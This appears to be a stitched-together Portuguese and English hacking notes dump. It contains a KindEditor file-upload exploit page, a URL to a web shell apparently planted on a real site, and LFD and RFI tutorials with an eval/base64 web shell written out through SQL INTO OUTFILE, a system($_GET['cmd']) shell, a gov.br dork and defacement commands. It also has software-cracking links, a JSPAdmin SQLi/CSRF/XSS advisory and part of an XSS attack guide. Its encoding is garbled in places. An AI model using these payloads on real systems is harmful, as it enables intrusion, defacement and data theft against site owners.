1599/asp.net/upload_json.ashx
1600/jsp/upload_json.jsp
1601/php/upload_json.php
1602
1603<html><head>
1604<title>Uploader By KedAns-Dz</title>
1605<script src="http://[Target]/kindeditor/kindeditor-min.js"></script>
1606<script>
1607KindEditor.ready(function(K) {
1608var uploadbutton = K.uploadbutton({
1609button : K('#uploadButton')[0],
1610fieldName : 'imgFile',
1611url : 'http://[Target]/kindeditor/php/upload_json.asp?dir=file',
1612afterUpload : function(data) {
1613if (data.error === 0) {
1614var url = K.formatUrl(data.url, 'absolute');
1615K('#url').val(url);}
1616},
1617});
1618uploadbutton.fileBox.change(function(e) {
1619uploadbutton.submit();
1620});
1621});
1622</script></head><body>
1623<div class="upload">
1624<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
1625<input type="button" id="uploadButton" value="Upload" />
1626</div>
1627</body>
1628</html>
1629
1630# Find u'r file in /attached/file/[Upl_Date]/{RaW_File_Name}.*
1631
1632
1633# Demo's :
1634
1635http://segrain.com//kindeditor/examples/uploadbutton.html
1636http://segrain.com//kindeditor/attached/file/20130310/20130310190436_69175.txt
1637
1638http://shanshuivilla.com/web/Public/kindeditor/examples/uploadbutton.html
1639http://shanshuivilla.com/web/Public/kindeditor/attached/file/20130311/20130311000359_44260.txt
1640
1641# Sp. GreetS t0 : Elite_Trojan & Evil-Dz & all Dz_Mafia Cr3w <3
1642
1643#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
1644# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Indoushka , Caddy-Dz , Kalashinkov3 , Mennouchi.Islem
1645# Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Chevr0sky, Black-ID, Barbaros-DZ,
1646# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
1647# Inj3ct0r Members 31337 : KedAns ^^ * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
1648# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * HD Moore * YMCMB ..all
1649# Exploit-ID Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * Milw0rm * KeyStr0ke * JF * L3b-r1Z * HMD
1650# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * B.N.T * All Security and Exploits Webs
1651#============================================================================================================
1652
1653# 0day.today [2016-04-12] #
1654
1655
1656----------------
1657
1658Netflix hack PREMIUM:
1659http://nethingoez.com/
1660
1661--------------
1662
1663Tutorial and exploits shell estudos:
1664
1665sqli get post blind exploit:
1666
1667http://www.omgsecurity.com/2009/06/blind-sql-injection-of-post-vars-with-sqlmap/
1668http://sechow.com/bricks/docs/content-page-3.html
1669http://www.ctothoughts.com/2011/01/blind-sql-injection-with-post-params.html
1670
1671---------------
1672
1673
1674lfi exploit:
1675
1676http://forum.guiadohacker.com.br/showthread.php?t=35971
1677http://forum.guiadohacker.com.br/showthread.php?t=14052
1678http://forum.guiadohacker.com.br/showthread.php?t=23364
1679
1680---------------
1681
1682rfi exploit:
1683
1684http://securityxploded.com/remote-file-inclusion.php
1685http://www.hackersonlineclub.com/lfi-rfi/
1686http://breakthesecurity.cysecurity.org/2011/11/remote-file-inclusion-vulnerability-tutorialweb-application-vulnerability.html
1687
1688---------------
1689
1690lfd exploit:
1691
1692https://www.exploit-db.com/papers/13622/
1693http://baranslab.blogspot.com.br/2015/11/joomla-com-cckjseblod-exploit.html
1694http://linux-ubuntu-apps.blogspot.com.br/2015/11/joomla-comcckjseblod-lfilfd-exploit.html
1695http://forum.sqliwiki.com/printthread.php?tid=4180
1696
1697
1698==================
1699
1700http://www.prosnacamara.org.br/2015/images/servidor/shell.jpg.gif.jpg.php?y=/home/storage/9/1d/a3/prosnacamara/public_html/&edit=/home/storage/9/1d/a3/prosnacamara/public_html/index.php
1701
1702
1703=================================+++++++++++++===============================
1704
1705[+]lfd Tutor1al[+]
17061- O que é exatamente um LFD?
1707
1708Divulgação de Arquivos Locais (Local File Disclosure), como dito, uma falha comum porém bem grave, pelo próposito de ser possÃvel ler os arquivos confidenciais como por exemplo o "/etc/passwd/" (onde está localizado os usúarios e senhas, é um arquivo necessario para uma ataque de LFI), "/etc/shadow" (arquivo onde contém reais senhas criptografadas de cada usúario, onde é armazenado informações das contas), "config.php" (o nome padrão do arquivo onde está localizado a source da ligação da database com o servidor, que muitas vezes é encontrado o MySQL).
1709
17102- Como detectar este falha?
1711
1712Esta falha ocorre na "readfile()", que nos dar o direito de fazer o download de qualquer arquivo do servidor dentro de nosso privilegio (é variado, como qualquer usuario comum, apache, www ou até mesmo o próprio 'root', porém é raro obter este privilégio tão fácil sem tentar a execução de um exploit.c). O bug é contigo por um tipo de filtragem no sistema causado pela resultante que nos fornece está oportunidade de realizar o download do arquivo. Recomendo que saiba pelo menos um básico de PHP assim irá ter conseguir um ótimo desempenho na exploração e na rápida detecção dessas falhas sem dar uma de Script Kiddie usando ferramentas dos outros para poder satisfazer seus prazeres. Veja este pequeno script em PHP onde se encontra a falha:
1713
1714?#?FAIL? // Falha detectada.
1715<?php
1716
1717$file = $_GET['file'];
1718$readfile = readfile($file);
1719
1720?>
1721
1722Nessa hora se o atacante tiver um pequeno conhecimento em PHP, encontrará a falha e podera fazer uma festa no servidor alvo. Então ele começará com a busca de certos arquivos, como por exemplo se a falha LFD foi encontrada em um servidor codificado em PHP, pode-se analisar a "index.php" e procurando pela chave "include" que para quem já conhece a linguagem saberá que ela está fazendo um tipo de ligação ou um complemento para o script do arquivo onde se encontra. Neste caso o "include" que procuramos é o que o nosso "brother" que irá nos mostrar o caminho do arquivo que faz a ligação do servidor com a database, o famoso "config.php". Use a cabeça se o site alvo é desenvolvido por CMS os nomes serão padrões, exemplo: wp-config.php (WordPress), configuration.php (Joomla!), config.php (vBulletin) e por aà vai. Estude o padrão dos CMS, crie um localhost, instale e estude as configurações, saiba primeiro como funciona cada processo.
1723
1724?#?LIKE? A BOSS // Falha corrigida.
1725<?php
1726
1727$file = preg_replace(‘/[^a-zA-Z0-9\_]/’,â€,bolumle($_GET[file]));
1728$readfile = readfile($file);
1729
1730?>
1731
17323 - Como explorar?
1733
1734O download do arquivo pode facilmente ser acesso da seguinte forma:
1735http://www.targetweb.com/index.php/file.php?path=Arquivo.pdf > Por enquanto normal, estará fazendo o download do Arquivo.pdf que é o que o site "targetweb" está lhe oferecendo, mas podemos manipular e obter o arquivo que queremos, vamos fazer uma exploração e encontrar o arquivo que faça a ligação do servidor com a database, como sabemos que o site alvo não é um CMS o arquivo pode ter qualquer nome, por isso usaremos outros arquivos que nos faça chegar até ele. Prosseguimos:
1736
1737http://www.targetweb.com/index.php/file.php… > Aqui conseguimos fazer o download da index.php, deve estar se perguntando.. "mas que merda o index.php irá ajudar?" Bem, você sabe que a index.php é o arquivo principal, certo? então é nele que estará o alocamento de diversos arquivos pode ser que não irá encontrar um "include" mostrando diretamente o arquivo da configuração mas levará para outros que e esse "outro" poderá nos dar novas pistas ou até mesmo a responsta. Analisando o index.php encontrei algo do tipo:
1738
1739<?php
1740require_one("diario.php");
1741?>
1742
1743ok, como não tem nada do tipo "/pasta/diario.php" ou "../pasta/diario" essas coisas básicas de comandos de diretório, no require só está apenas "diario.php" então já estamos no mesmo lugar que se encontra. Vamos encontrar-lo, substituindo pela palavra index.php
1744
1745http://www.targetweb.com/index.php/file.php… > Aà está, vamos ver o que temos.
1746
1747Nele encontramos muitos requires, no que apresenta ser um arquivo fazendo múltiplas ligações, por exemplo no começo do arquivo:
1748
1749<?php
1750require_once("includes/configuracoes.php");
1751require_once("includes/conexao.php");
1752require_once("includes/funcoes.php");
1753
1754$database = new conectar();
1755....
1756
1757[O arquivo não se alimenta apenas disso, é preciso de outras ações podendo encontrar até mesmo alguns comandos em SQL, mas não preciso aprofundar tanto assim, mesmo que é desnecessário e além de não nos importar, não pelo menos o ataque que estamos planejando].
1758
1759Agora já sabemos onde encontramos o arquivo com todas as informações da database e está localizado na paste includes, porém se pensar bem o arquivo correto é qual? exatamente o arquivo "conexao.php" como já havia dito o script que queremos encontrar é uma conexão com a DB e o 'localhost', você de estar se perguntando o que poderiamos encontrar no "configuracoes.php" a resposta é simples, a única coisa que poderá lhe interessar lá é o caminho root (Full Disclosure, vou falar dele mais a frente) podemos também querer explorar outras partes como os arquivos, por exemplo "funcoes.php", pense que está em um game RPG que onde o mapa irá liberar apenas por onde você vá, quando já é encontrado o ponto de objetivo e o lugar não foi totalmente explorado é bom marcar onde está o lugar para poder voltar e explorar mais um pouco (eu pelo menos sempre faço isso), mas enfim sempre é bom explorar bem qualquer lugar novo. Mas para que o tutorial não vire um livro, vou ser objetivo e direto sem sair muito do foco. Parte de abrir o arquivo "configuracoes.php":
1760
1761http://www.targetweb.com/index.php/file.php… > Arquivo onde está localizado as ligações da DB com o a Web.
1762Como o site não é CMS então é óbvio que a source que encontrará será sempre uma novidade tanto quanto o proprio nome do arquivo "configuracoes.php". Ao abrirmos nos deparamos com algo do tipo:
1763
1764<?php
1765require_once("configuracoes.php");
1766function erro_msg($erro){
1767switch($erro){
1768case "01": die("Falha na conexão com o gerenciador");
1769case "01": die("A database existe? Verifique-se");
1770case "01": die("Comando inválido");
1771
1772default: die("Erro não localizado");
1773}
1774}
1775
1776class conectar{
1777var $result;
1778private $host,$usuario,$senha,$banco,$conexao,$selecaobanco;
1779
1780function __construct(){
1781
1782/*
1783$this->host = 'localhost';
1784$this->usuario = 'root';
1785$this->senha = '';
1786$this->banco = 'msfdb'
1787*/
1788
1789$this->host = '0.0.0.0';
1790$this->usuario = 'us3r-01';
1791$this->senha = '004&pwd';
1792$this->banco = 'fstbanco';
1793
1794$this->conexao = @mysql_connect($this->host,$this->usuario,$this->senha) or erro_msg("01");
1795$this->selecaobanco = @mysql_connect($this->host,$this->usuario,$this->senha) or erro_msg("02");
1796}function getHost(){
1797return $this->host;
1798}function setHost($host){
1799$this->host = $host;
1800}function fechar($conexao){
1801@mysql_close($conexao);
1802}function query($query){
1803
1804mysql_query("SET NAMES 'utf8'");
1805mysql_query('SET character_set_connection=utf8')
1806mysql_query('SET character_set_client=utf8');
1807mysql_query('SET character_set_results=utf8');
1808$this->result = @mysql_query($query, $this->conexao) or erro_msg("03");
1809
1810}function registros_retornados(){
1811return @mysql_num_rows($this->result);
1812}function registros_afetados(){
1813return @mysql_affected_rows();
1814}function fetch_object(){
1815return @mysql_fetch_object($this->result);
1816}
1817}
1818
1819?>
1820
1821Até ficou um pouco maior que esperava, mas uma source de uma ligação é tipo isso. A primeira parte dando as variáveis e as mensagens que devem ser imprimidas (se você trabalha com a linguagem C/C++, Javas Bash e alguns outros, deve ter visto algo parecido), depois criamos a classe de conexão e damos tudo à ela que é preciso, como local, user, pass e o banco, logo então encontramos uma parte que deixei comentada, o que seria aquilo? Perceba que esta parte comentada é a mesma a parte de baixo que está com o mesmo modelo, porém com atribuições de valores dissidêntes, o que pode-se notar é que a parte acima seria uma backup padrão do MySQL, então a pessoa responsável pelo banco de dados deu uma averiguada na source e pensou: "Opa, é melhor mudarmos um pouco a configuração aqui, dando outro usuario e colocando uma senha e mudar o nome do banco", assim foi feito:
1822Usuario = us3r-01
1823Senha = 004&pwd
1824DB = fstbanco
1825
1826Depois disso vem a linha de como deverá prosseguir a conexão e se caso der algum conflito aparecer a mensagem de erro de acordo com o que aconteceu, temos ali também o tipo de caracter que deverá ser expressado no caso o "utf8" que é o formato compatÃvel com os caracteres com acentos, então caso irá codificar algo em inglês não se preocupe com isso. E por fim o resultado do processo se foi ocorrido perfeitamente, sei que isso não tem nada a ver mas como dito é bom saber um pouco sobre o PHP.
1827
18284 - Conectando no MySQL
1829
1830No passo 3 vimos uma estrategia para obter-se o mais que necessário para fazer o Login na database. Apenas conecte.
1831Estamos dentro, agora temos várias escolhas, checar usuario e senha do painel e logar no site como Administrador(4.1), upload da shell/backdoor.(4.2) ou até mesmo fazer uma desconfiguração no site diretamente pelo MySQL(4.3) Emoticon smile //ai meu corassaum
1832
18334.1 - Do lado esquerdo terá duas database 'information_schema' onde contém informações do esquema, ou seja, dos privilégios e teremos a database do nosso alvo, lembre-se do ataque SQL Injection, são exatamente elas que acessamos, então procure a tabela que tenha algo relativo com usúarios, então estara logo de cara com os login e pass. As vezes o atacante prefere modificar alguma senha por causa do tipo da criptografia, ou então cria outro usúario com um privilégio Administrador, porém isso ocorre mais em sites CMS, principalmente o Joomla.
1834
18354.2 - Neste caso será que saber um pouco de SQL. Tenha em mãos o diretório root (full disclosure), nada dito aqui é novidade, não para aqueles que já praticam uma Injeção SQL avançado, lendo ou fazendo upload de arquivos na unha mesmo, a única diferença é que no PhpMyAdmin será em modo gráfico mas o processo é a mesma.
1836* Crie uma database com qualquer nome que quiser, nome meu caso vou chamar-la de 'shell'.
1837* Ela terá 1 table com o nome 'tbshell' e 1 coluna
1838* Estrutura de colunas nomeada como 'id' e 'id2'
1839Pronto, agora iremos para a aba do SQL onde iremos criar o arquivo. Tenha em mãos seu shell script criptografado em base64 para que não haja conflito com os demais comandos do SQL durante o processo interno, então faremos o seguinte:
1840
1841SELECT "<?php eval(gzinflate(base64_decode('SEU SHELL CRIPTOGRAFADO EM BASE64')))); ?>" INTO OUTFILE "/var/www/kx9.php"
1842
1843Aquele "/var/www/kx9.php" estou supondo que o nosso diretório root seria o "/var/www/" que é o padrão, pode conseguir o diretório root no "phpinfo.php", o que denomino como "kx9.php" é o nome do arquivo onde estara a sua shell, ou seja, se está no como '/var/www/kx9.php' logo sua script será encontrada em:
1844http://www.targetweb.com/kx9.php > Logo na raiz.
1845Quer deixar dentro de alguma outra pasta como por exemplo na pasta Admin então use: /var/www/admin/kx9.php é simples utilize o '/var/www/' como o site.
1846
18474.3 - Aqui não tenho muito que explicar não é mesmo? A não ser que não saiba nada de SQL o que lhe torna inútil numas horas dessas. Por isso repito procure entender apenas um pouco de PHP e SQL não precisa ser um programador dominante, é o mesmo que souber um pouco de HTML para criar seus próprios DEFACE, agora se nem ao menos HTML você compreende, sinto muito. Emoticon frown
1848Não preciso escrever este passo, pois é a mesma coisa, substitua o script da shell pelo seu deface encriptado em base64 (óbvio) e pronto.
1849fonte:https://www.exploit-db.com
1850
1851by MAX ROOT!
1852
1853=========================================
1854
1855TUTORIAL rfi
1856RFI significa inclusão remota de arquivos que permite que o invasor para carregar um código / arquivo malicioso em um site ou servidor usando um script personalizado. A vulnerabilidade explorar os pobres verificações de validação em sites e pode, eventualmente, levar à execução de código no servidor ou a execução de código no site (ataque XSS usando javascript). Desta vez, eu estarei escrevendo um simples tutorial sobre inclusão remota de arquivos e até o final do tutorial, eu suponho que você vai saber o que é sobre tudo e pode ser capaz de implantar um ataque ou dois. RFI é uma vulnerabilidade comum e confiar em mim todos os site pirataria não é exatamente sobre a injeção de SQL . Usando RFI você pode literalmente desfigurar os sites, tenha acesso ao servidor e fazer quase qualquer coisa. O que o torna mais perigoso é que você só precisa ter o seu senso comum e conhecimento básico de PHP para executar este, alguns BASH pode vir a calhar como a maioria dos servidores de hoje são hospedados em Linux.
1857Começando com RFI
1858Vamos começar. O primeiro passo é encontrar site vulnerável, você pode facilmente encontrá-los usando Google dorks.If você não tem idéia, você pode querer ler sobre hacking senha avançada usando dorks do Google ou de usar a ferramenta automatizada para aplicar dorks do Google usando o Google . Agora vamos supor que temos encontrado um site vulnerável
1859----------------------------------
1860http://site.com/index.php?page=home
1861----------------------------------
1862inul:.php?page= site:gov.br
1863Como você pode ver, este site puxa documentos armazenados em formato de texto a partir do servidor e torna-los como páginas da web. Podemos encontrar maneiras de contornar isso, pois utiliza PHP incluem funções para puxá-los para fora. Permite check-out.
1864-------------------------------------
1865http://site.com/index.php…
1866OBS: evilscript seria a shell ou vc coloca um arquivo "shell.php" umas usadas são a shell c99.
1867---------------------------------------
1868Eu incluà um script personalizado "evilscript" em formato de texto do meu site, que contém alguns code.Now, se o seu site vulnerável, então qualquer um destes 3 coisas podem acontecer
1869Caso 1 - Você deve ter notado que a url consistia de "page = casa" não tinha extensão, mas eu ter incluÃdo uma extensão no meu url, portanto, o site pode dar um erro como "não inclusão evilscript.txt.txt ', isso pode acontecer, pois o site pode estar adicionando automaticamente a extensão .txt para as páginas armazenadas no servidor.
1870Caso 2 - No caso, ele automaticamente acrescenta algo nas linhas de .php então temos que usar um byte nulo '% 00', a fim de evitar o erro.
1871Caso 3 - execução bem sucedida Emoticon smile
1872Agora, depois de ter lutado em torno de um presente, você pode querer saber o que o código dentro do script. Você pode obter um script C99 infame costume codificado (também bloaty mas altamente eficaz, uma vez implantado) ou você pode codificar-se uma nova. Para este conhecimento de PHP pode vir a calhar. Aqui vamos nós
1873
1874<?php
1875echo "<script>alert(U are 0wn3d !!);</script>";
1876echo "Run command: ".htmlspecialchars($_GET['cmd']);
1877system($_GET['cmd']);
1878?>
1879
1880O código acima permite-lhe explorar incluem função e testa se o site se RFI (XSS) vulnerabilidade, executando o código da caixa de alerta e se for bem sucedida, você pode enviar comandos personalizados para o servidor linux em bash. Então, se você está na sorte e se funcionou, vamos tentar nossas mãos alguns comandos Linux. Por exemplo, para encontrar o diretório de trabalho atual do servidor e, em seguida, para apresentar os arquivos, vamos estar usando 'pwd' e 'ls' comandos
1881http//site.com/index.php… http//site.com/index.php…
1882
1883O que ele faz é que ele envia o comando de cmd que colocamos em nosso script e começa a imprimir o diretório de trabalho e listar o documents.Even melhor que você pode quase fazer a proclamar página que você cortou-lo usando o "eco" de comando.
1884cmd=echo U r pwn3d by max> index.php
1885Será, então, re-escrever o index.php e tornar it.In caso, é um website primitiva que armazena páginas com extensão .txt, você pode querer colocá-lo com ao longo dos arquivos .txt. Agora, como seria de esperar, estamos agora o alfa eo omega do site Emoticon smile podemos baixar, remover, renomear, qualquer coisa! Quer baixar coisas? tente o 'wget' função ... deixo o resto para a sua criatividade!
1886Conclusão
1887Neste tutorial básico, eu expliquei sobre a vulnerabilidade RFI e como brincar com ele.
1888Créditos: Rishabh Dangwal
1889CurtirMostrar mais reaçõesComentar
18907Joab Kali Linux, Gabriel Juan e outras 5 pessoas
1891Comentários
1892Lucas Reinaldo
1893Lucas Reinaldo o link está redirecionando para esse site https://www.salesforce.com/platform/overview/...
1894
1895Custom Application Development Examples from App Cloud -…
1896SALESFORCE.COM
1897Curtir · Responder · 6 de abril às 10:25
18982 Respostas
1899Matheus Nascimento
1900Matheus Nascimento tem um sitwe aqui
1901Curtir · Responder · 6 de abril às 10:26
1902Matheus Nascimento
1903Matheus Nascimento esse aqui é bom >> http://securityxploded.com/remote-file-inclusion.php <<
1904
1905Remote File Inclusion Tutorial | www.SecurityXploded.com
1906SECURITYXPLODED.COM|POR NAGARESHWAR TALEKAR
1907Descurtir · Responder · 1 · 6 de abril às 10:26
1908Lucas Reinaldo
1909Lucas Reinaldo huumm , vou da uma lida
1910Curtir · Responder · 1 · 6 de abril às 10:29
1911Daniel Vieira
1912Daniel Vieira sqli get post blind exploit:
1913
1914http://www.omgsecurity.com/.../blind-sql-injection-of.../...Ver mais
1915
1916OMGSecurity » Blind SQL injection of POST vars with sqlmap
1917OMGSECURITY.COM
1918Curtir · Responder · Remover visualização · 1 · 6 de abril às 14:48
1919Daniel Vieira
1920
1921Escreva um comentário...
1922
1923Escolher arquivo
1924
1925
1926===============================+++++++++++++++++++=========================
1927
1928Usando o OWASP ZAP no Windows
1929
1930http://www.codeproject.com/Articles/708129/Automated-penetration-testing-in-the-Microsoft-sta
1931
1932===========================================================================
1933
1934*// +++++++++++++++++++ CRACKING +++++++++++++ //*
1935
1936How to Reverse Engineer Software and Create Keygen
1937https://www.youtube.com/watch?v=3D5FOPOkE5Y
1938
1939----
1940
1941How to PATCH a Software
1942https://www.youtube.com/watch?v=PN7Xpi2Q87o
1943
1944---
1945
1946How To Crack a Software
1947https://www.youtube.com/watch?v=YO01ZpOySZY
1948
1949---
1950
1951como criar crack para programas softwares
1952https://www.youtube.com/watch?v=5ocdIrh26lo
1953
1954---
1955
1956engenharia reversa crack
1957https://www.youtube.com/watch?v=XI-NGsU7hkc
1958
1959---
1960
1961Explicação de Crack com Ollydbg
1962https://www.youtube.com/watch?v=wQhLqdCduQI
1963
1964---
1965
1966Entendendo o funcionamento de um Keygen
1967https://www.youtube.com/watch?v=Nszi08g26ZM
1968
1969---
1970
1971Engenharia Reversa com OllyDbg
1972https://www.youtube.com/watch?v=0FBbvq4lqoU
1973
1974
1975+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1976
1977+ exploit shell:
1978
1979JSPAdmin 1.1 SQL Injection / CSRF / Cross Site Scripting Vulnerabilities
1980
1981[ home ] [ description ]
1982
1983Full title JSPAdmin 1.1 SQL Injection / CSRF / Cross Site Scripting Vulnerabilities
1984Date add 29-05-2015
1985Category web applications
1986Platform jsp
1987Risk
1988Security Risk Critical
1989
1990Description:
1991JSPAdmin version 1.1 suffers from cross site request forgery, cross site scripting, and remote SQL injection vulnerabilities
19921
19932
19943
19954
19965
19976
19987
19998
20009
200110
200211
200312
200413
200514
200615
200716
200817
200918
201019
201120
201221
201322
201423
201524
201625
201726
201827
201928
202029
202130
202231
202332
202433
202534
202635
202736
202837
202938
203039
203140
203241
203342
203443
203544
203645
203746
203847
203948
204049
204150
204251
204352
204453
204554
204655
204756
204857
204958
205059
205160
205261
205362
205463
205564
205665
205766
205867
205968
206069
206170
206271
206372
206473
206574
206675
206776
206877
206978
207079
207180
207281
207382
207483
207584
207685
207786
207887
207988
208089
208190
208291
208392
208493
208594
208695
208796
208897
208998
209099
2091100
2092101
2093102
2094103
2095104
2096105
2097106
2098107
2099108
2100109
2101110
2102111
2103112
2104113
2105114
2106115
2107116
2108117
2109118
2110119
2111120
2112121
2113122
2114123
2115124
2116125
2117126
2118127
2119128
2120129
2121130
2122131
2123132
2124133
2125134
2126135
2127136
2128137
2129138
2130139
2131140
2132141
2133142
2134143
2135144
2136145
2137146
2138147
2139148
2140149
2141150
2142Vendor:
2143code.google.com/p/jsp-myadmin
2144
2145
2146Product:
2147JSPAdmin 1.1 is a Java web based MySQL database management system.
2148
2149
2150Advisory Information:
2151================================================
2152JSPMyAdmin 1.1 SQL Injection, CSRF & XSS Vulnerabilities
2153
2154
2155SQL Injection
2156CSRF
2157XSS
2158
2159
2160
2161Vulnerability Details:
2162=====================
2163
2164SQL Injection:
2165deletedata.jsp is supposed to delete 1 field per query, yet we can control
2166the SQL and build an OR condition.
2167Problem is application uses concatenated user input to build SQL statements
2168even though paramaterized queries are used.
2169
2170In deletedata.jsp we find the following code:
2171
2172con.prepareStatement("DELETE FROM " + table + " WHERE "+ field + "='" + val
2173+"'");
2174
2175So expected SQL to be run is this deleting 1 record.
2176
2177e.g.
2178http://localhost:8081/JSPMyAdmin/deletedata.jsp?db=test&table=email&field=CATID&val=7
2179
2180But the SQL Injection vulnerability lets us instead drop all fields using
2181an SQL 'OR' statement.
2182
2183e.g.
2184http://localhost:8081/JSPMyAdmin/deletedata.jsp?db=test&table=email&field=CATID
2185or
2186'field'='NAME'
2187
2188*************************************************************************************************
2189
2190
2191CSRF:
2192We can drop any database by sending victim malicious linx as there is no
2193CSRF token used.
2194*****************************************************************************************
2195
2196
2197XSS:
2198
2199There is zero user input checks allowing remote attackers to execute
2200arbitrary scripts in the
2201context of an authenticated user's browser session.
2202***************************************************
2203
2204
2205
2206Exploit code(s):
2207===============
2208
2209SQL Injection POC:
2210------------------
2211
2212So expected SQL to be run is this deleting 1 record
2213http://localhost:8081/JSPMyAdmin/deletedata.jsp?db=test&table=email&field=CATID&val=7
2214http://localhost:8081/JSPMyAdmin/deletedata.jsp?db=test&table=email&field=CATID
2215or
2216'field'='NAME'
2217
2218
2219CSRF POC:
2220---------
2221http://127.0.0.1:8081/JSPMyAdmin/drop.jsp?db=mydb
2222
2223
2224
2225XSS(s) POC:
2226----------
2227
22281- </title><script>alert('XSS By hyp3rlinx');</script><title>
2229 Using POST method in 'host' parameter of login page.
2230 http://127.0.0.1:8081/JSPMyAdmin/
2231
22322- http://127.0.0.1:8081/JSPMyAdmin/right.jsp?server=localhost&db=
2233"/><script>alert(666)</script>
2234
22353- http://127.0.0.1:8081/JSPMyAdmin/right.jsp?server=
2236"/><script>alert(666)</script>&db=
2237
22384- http://127.0.0.1:8081/JSPMyAdmin/tabledata.jsp?db=
2239"/><script>alert(666);</script>
2240
22415-
2242http://127.0.0.1:8081/JSPMyAdmin/tabledata.jsp?server=localhost&db=mysql&table=
2243"/><script>alert(666);</script>
2244
22456- http://127.0.0.1:8081/JSPMyAdmin/tabledata.jsp?server=
2246"/><script>alert(666);</script>&db=
2247
22487- http://127.0.0.1:8081/JSPMyAdmin/query.jsp?server=
2249"/><script>alert(666)</script>&db=
2250
22518- http://127.0.0.1:8081/JSPMyAdmin/export.jsp?db=test&table=
2252<script>alert(666)</script>
2253
2254
2255
2256
2257Disclosure Timeline:
2258=========================================================
2259
2260
2261Vendor Notification: NA
2262May 29, 2015: Public Disclosure
2263
2264
2265
2266Severity Level:
2267=========================================================
2268High
2269
2270
2271
2272Description:
2273==========================================================
2274
2275Request Method(s):
2276 [+] GET / POST
2277
2278Vulnerable Product:
2279 [+] JSPMyAdmin 1.1
2280
2281Vulnerable Parameter(s):
2282 [+] host, server, db, table
2283
2284Affected Area(s):
2285 [+] Entire admin
2286
2287===============================================================
2288
2289(hyp3rlinx)
2290
2291# 0day.today [2016-04-12] #
2292
2293++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2294
2295+ VULNES:
2296
2297https://www.exploit-db.com/papers/13057/
2298
2299
2300Exploits Database
2301Home
2302Exploits
2303Shellcode
2304Papers
2305Google Hacking Database
2306Submit
2307Search
2308Cross Site Scripting - Attack and Defense guide
2309Archived security papers and articles in various languages.
2310 ____
2311 / /
2312 ________________________________________________________________________/ /
2313| / /
2314| Cross Site Scripting - Attack and Defense guide / /
2315|_____________________________________________________________________/ /
2316 / /
2317 By Xylitol 10-02-08 /___/
2318
2319
2320 Author: Xylitol
2321
2322 Description: a simple guide on XSS methods.
2323
2324 Homepage: http://xylitol.free.fr
2325
2326 Contact: Xylitol[at]fbi[dot]gov
2327
2328 Date: 10/02/08
2329
2330
2331 Summary:
2332 1> What is XSS ?
2333 2> Code a XSS vulnerability
2334 3> Make a cookie grabber
2335 4> Securing XSS
2336 5> Deface Methods
2337 6> Filteration Bypassing
2338 7> Flash attak
2339 8> XSS upload
2340 9> phishing XSS
2341
2342
2343 ____ ____
2344 / / \ \
2345 ______/ /_____________________________________\ \______
2346| / / \ \ |
2347| / /.: Chapter 1 - What is XSS ? :.\ \ |
2348|___/ /___________________________________________\ \___|
2349 / / (From Wikipedia, the free encyclopedia) \ \
2350 /___/ \___\
2351
2352
2353
2354Cross-zone scripting is a browser exploit taking
2355advantage of a vulnerability within a zone-based security solution.
2356The attack allows content (scripts) in unprivileged zones
2357to be executed with the permissions of a privileged zone - i.e.
2358a privilege escalation within the client (web browser) executing the script.
2359The vulnerability could be:
2360
2361 * a web browser bug which under some conditions allows content (scripts)
2362in one zone to be executed with the permissions of a higher privileged zone.
2363
2364 * a web browser configuration error; unsafe sites listed in privileged zones.
2365
2366 * a cross-site scripting vulnerability within a privileged zone
2367
2368A common attack scenario involves two steps.
2369The first step is to use a Cross Zone Scripting vulnerability
2370to get scripts executed within a privileged zone. To complete the attack,
2371then perform malicious actions on the computer using insecure ActiveX components.
2372
2373This type of vulnerability has been exploited to silently install
2374various malware (such as spyware, remote control software, worms and such)
2375onto computers browsing a malicious web page.
2376
2377
2378
2379
2380 ____ ____
2381 / / \ \
2382 ______/ /_____________________________________\ \______
2383| / / \ \ |
2384| / /.:Chapter 2 - Code a XSS vulnerability :.\ \ |
2385|___/ /___________________________________________\ \___|
2386 / / \ \
2387 /___/ \___\
2388
2389
2390
2391Open notepad and copy/past this script:
2392
2393
2394<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2395<html xmlns="http://www.w3.org/1999/xhtml">
2396<head>
2397<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
2398
2399<style type="text/css">
2400<!--
2401body,td,th {
2402 color: #FFFFFF;
2403}
2404body {
2405 background-color: #000000;
2406}
2407-->
2408</style><title>Simple XSS vulnerability by Xylitol</title>
2409<body>
2410<form action="XSS.php" method="post">
2411<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
2412<div align="center">
2413 <table width="270" border="0">
2414 <tr>
2415 <td width="106"><strong>Search:</strong></td>
2416 <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
2417 </tr>
2418 </table>
2419 <table width="268" border="0">
2420 <tr>
2421 <td width="262"><div align="center">
2422 <input name="submit" type="submit" value=" Search it ! " />
2423 </div></td>
2424 </tr>
2425 </table>
2426 </div>
2427</form>
2428</body>
2429</html>
2430
2431
2432
2433
2434after, save this page: index.html
2435open a new notpad and Copy/past that:
2436
2437
2438<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2439<html xmlns="http://www.w3.org/1999/xhtml">
2440<head>
2441<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
2442<title>Search result:</title>
2443<style type="text/css">
2444<!--
2445body,td,th {
2446 color: #FFFFFF;
2447}
2448body {
2449 background-color: #000000;
2450}
2451-->
2452</style></head>
2453<body>
2454<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
2455</body>
2456</html>
2457
